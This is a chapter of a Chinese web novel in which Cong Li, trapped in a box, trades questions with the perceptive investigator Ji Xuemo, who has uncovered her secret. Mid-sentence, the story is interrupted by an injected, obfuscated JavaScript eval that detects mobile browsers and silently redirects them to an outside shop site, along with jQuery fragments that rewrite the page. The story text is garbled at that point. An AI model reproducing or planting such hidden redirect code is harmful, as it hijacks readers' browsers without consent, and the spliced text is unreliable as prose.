纪学默是个难以揣摩的人。
他像教堂里的玻璃花窗,陈旧而高耸的窗从不推开,任何烈日光线透过他都会成为斑驳陈旧的颜色落在地上。
“我该怎么称呼你?渡鸦?或者另一个名字?”他问。
两句话让丛黎浑身扎起了警惕的刺。
在船上见到纪学默时,他作为调查组的组长是整个调查组里最温和的一位,但意外让丛黎感到有点危险。
那时她运气好,利用“撞狐岬角”勉强让苍术躲过纪学默的查问,不过那次是巧合中的巧合,运气中的运气。
这次被抓来,她本想装鹌鹑,安分守己当一个不会说话的盒子,但显然,按照情势她装不了鹌鹑。
她必须抓住机会,好歹让自己占点有利地位。
她说:“回合制,我问完你再问,两方都要保持诚实,也必须对这些信息保密,不然我保持沉默。我先确定先决条件:在我们谈话的时候会有第三方知道吗?”
纪学默坦然道:“我的房间里没有电子设备,我的身上也没有。我确定在我们谈话的时候不会有我这方面的第三方。”
这个房间的设计和纪学默一样老派,摒弃了大多数智能家具,用木质和机械构筑了整个空间。
房间的采光很好,自然光从亚麻窗帘的纹理里透进来。
“你知道些什么?”丛黎问。
这是一个用以括定她接下来可以回答些什么不可以回答些什么的大框架的问题。
纪学默并没有给出简洁直接的回答,而是耐心地展现了他的推理和调查过程。
“由于仿生人的外貌限定,苍术的身份难查。但雇佣兵霜的身份却好查,顺着地下帮派查到尼龙市,然后是最近出事的黎家建筑工地,再提高信息渠道的秘密等级,就能查到黎家的秘密基地里丢了一个盒子。”
“莉莉丝对那个仿生人的身份提出疑问,尤其是他口中‘亡妻的骨灰盒’。结合上一条线索,所谓的骨灰盒便是黎家丢的盒子。”
“加里提出了结界的疑问,后来他在和叶提星的战斗中被杀。盒子,叶提星,黎家,这三个线索堆叠,不难让人想到十年前的巨鳞事件。”
“事情到这里就已明了,盒子就是渡鸦。”
“叶提星知道盒子的存在,说明拥有‘复制共生’异能的黎舍之和盒子共生并告知了叶提星。”
“这次叶提星等人选择和渡鸦合作,说明情况有了转变。显然,如果盒子里的是原来的渡鸦,她不会原谅凶手,更不会救下叶提星。只有一种可能:盒子里换人了。”
盒子里换人了!
丛黎本以为他最多推理到“渡鸦”这一条为止,没想到他像打通任督二脉一样直接推理到这一点。
这个人简直恐怖。
不光是情报渠道,洞察力更是让人忌惮。
窗外的天色在暗下去。
纪学默坐在桌边看着盒子:“我回答完了,该我问了:你是谁?”
空无之壁的投影上是他专注看向这里的情形,睫毛黑密,深而又暗的眼睛注视着她。
她定了定神:“丛黎。你和尾迹云组织是什么关系?”
“本来我和那个组织没关系,但现在有关系了。”
“查出你的事以后,顺藤摸瓜地就找到了尾迹云组织,还顺带知道了他们和黎家的关系。”
“我的问题是,你不是这个世界的人吗?”
窗帘里驳杂的光线落在纪学默身上,乌黑的头发和乌黑的眼瞳里阴影交杂。
轻描淡写的语气,似乎整件事真的“好查”、“不难”、“显然”,“顺藤摸瓜”就能牵出这一长串利益链。
在这种人面前,撒谎是徒劳的。
丛黎的脑袋隐隐发疼:“不是。我的问题:你打算怎么办?”
纪学默的双手合拢,若有所思。
半晌,他才回答道:“组织背后的势力、组织的真实目的我都摸清楚了,但这些解释起来很复杂。以后再说。”
“我的打算是暂时和组织合作,我会送你去库金利区,配合那个仿生人完成你的任务。不过,在那之前会有几天的空闲,你得和我待在一起。”
“你来到这个世界以后,有没有生存条件制约?”
丛黎算是看出来了,在他推理到“盒子里换人了”这个结论时,已经对整体的情况有了一个模糊方向的猜测,现在他在验证他的猜想。
“生存条件制约”,他猜到了可能会有系统和任务这种存在。
更可怕的是,他特意利用了“是否二选一”的句式。
如果她选了“否”,那么她违背了她自己所定的诚实原则。如果她保持沉默,那么系统的存在就是板上钉钉。
“还没遇到。”她用一种不负责任的方式半真半假地道。
她的情报基本都被纪学默查出来了,但是系统和任务,这件事绝对不能让他知道。
但同时她担心他有测谎异能,所以刻意模糊了“还没遇到任务重要节点”和“还没遇到任务”之间的界限。
她问:“你做出以上决定的目的是什么?”
纪学默沉凝了片刻。
他缓缓开口道:“既然你不是这个世界的人,或许我应该多给你解释一点。在这里,各方势力都是差不多的,达成了一种微妙的平衡。现在不是力量的问题,最重要的是心理战。当然,如果有绝对力量的出现,格局就会改变。”
“但我的背后没有势力。”
丛黎深感被欺骗:“你看我信吗?”
他无声而笑,眉眼冷淡:“你相信与否,对我来说没有差别。我只是在回答你的问题。我的目的是为自己牵扯上更多利益关系。”
“我不可能加入任何势力,但我可以进入那些错综复杂的利益关系中,利用心理战,直到没有人敢动我。换言之,我要自保。”
丛黎被“自保”这个理由触动了一下,随即她立刻意识到不该放松警惕。
纪学默的另一个恐怖之处就在于此,在谈话里无形中让人信任并共情。他知道她在异世界生存的第一法则也是自保,说不定他那些话都是说出来骗她的。
窗帘里照射进来的光线逐渐下移,照在他的黑色西装上,驳领妥帖地静伏着。
他继续问:“你的异能,是高维空间吗?只要回答是或者不是。”
丛黎一瞬间想高维显形冲上去摇晃他的肩问他是不是拿了剧本,顺便把他整个人拎起来抖一抖,把剧本从他身上抖出来。
她按捺住了质问的冲动,却按捺不住显形的冲动。
穿着小熊睡衣的丛黎就这样从盒子里冲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546100|141778||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了出去。
“异能是这样,行了吧?”她站在桌边,冷眼看向他。
纪学默看到桌边亦真亦幻的虚影,不动声色地打量了一下:“我只要你回答是或不是。”
和聪明人说话确实不累,但有时候对方太聪明了,反而让她血压飙升。
丛黎忍住痛扁他一顿的冲动,最终还是非常逊地答道:“……是。”
她满心都是憋屈不爽,在问下一个问题前给了自己一点缓冲:“我回去休息一下,过一会再和你回合制问答。”
纪学默礼貌地道:“请便。”
纪学默继续开始翻看文件。
正如他所说的,房间里没有任何电子设备,连用来联系的终端都没有,在四通八达的通讯世界里仿佛荒凉的孤岛。
浅色的亚麻窗帘被窗缝里的风微微吹动,褶皱变幻如流水。
他看文件的速度很快,一目十行地翻动纸页,房间里有一种沉寂而清苦的气味。
丛黎在论坛上搜索“纪学默”“幕僚长”等关键词,抱着可能会找到一点情报的希望。
没有。
丛黎又问亚尔弗。
亚尔弗回答:库金利区幕僚长?纪家,家里的长子,其余没有资料了。
两下都碰壁,看起来果然还是得她自己动手找情报。
“我翻你房间,没问题吧?”她问。
他倒是没反对:“可以。”
她开了一级远景、二级远景、三级远景,在整个房间内外翻来翻去。
虽然翻别人房间很不礼貌,但他不仁她也不义,而且她至少先取得主人同意了。
一个多小时后,纪学默合上纸:“怎么样?继续回合制吗?”
丛黎站在桌边,一手撑着桌面:“不,现在是我单方面询问的时间。你去船上做什么?”
纪学默脸上的表情里多了一点疲惫:“把脑子一热上贼船的弟弟妹妹拎回家。”
丛黎乘胜追击:“你袖子上的扣子去哪里了?”
纪学默的手下意识去摸袖口:“不小心掉在哪里,忘记了。”
丛黎把从沙发下捡来的扣子扔到桌上,浑圆的金属纽扣在桌面上滚了一圈,滚到纪学默面前。
纪学默用手帕把纽扣包了起来,藏进口袋里。
她继续:“你的胃药呢?”
纪学默的脸上仿佛出现了一丝裂缝:“太苦,扔了。”
丛黎:“胃药离奇消失之谜,病情反复,你对医生怎么说的?”
纪学默:“药物无用。”
丛黎:“放在手摇碎纸桶里的纸张上写了什么?”
纪学默:“……写了对议会的提案不满的脏话。”
丛黎紧追不舍:“还有呢?”
纪学默先投降了。
他用手按了一下眉心:“别问了,我要面子。”
丛黎抓住机会,威胁道:“纪学默,以后不要用那种让我不爽的语气跟我说话,我小学生脾气,不知道会做出什么事来的。”
纪学默轻声叹了一口气:“往后我会注意的。”
丛黎回到盒子里,透过空无之壁注视着那个沉肃安静的青年。
由于信息差,纪学默暂时占上风。
但是,真正能制约纪学默的钥匙,她也会找到的。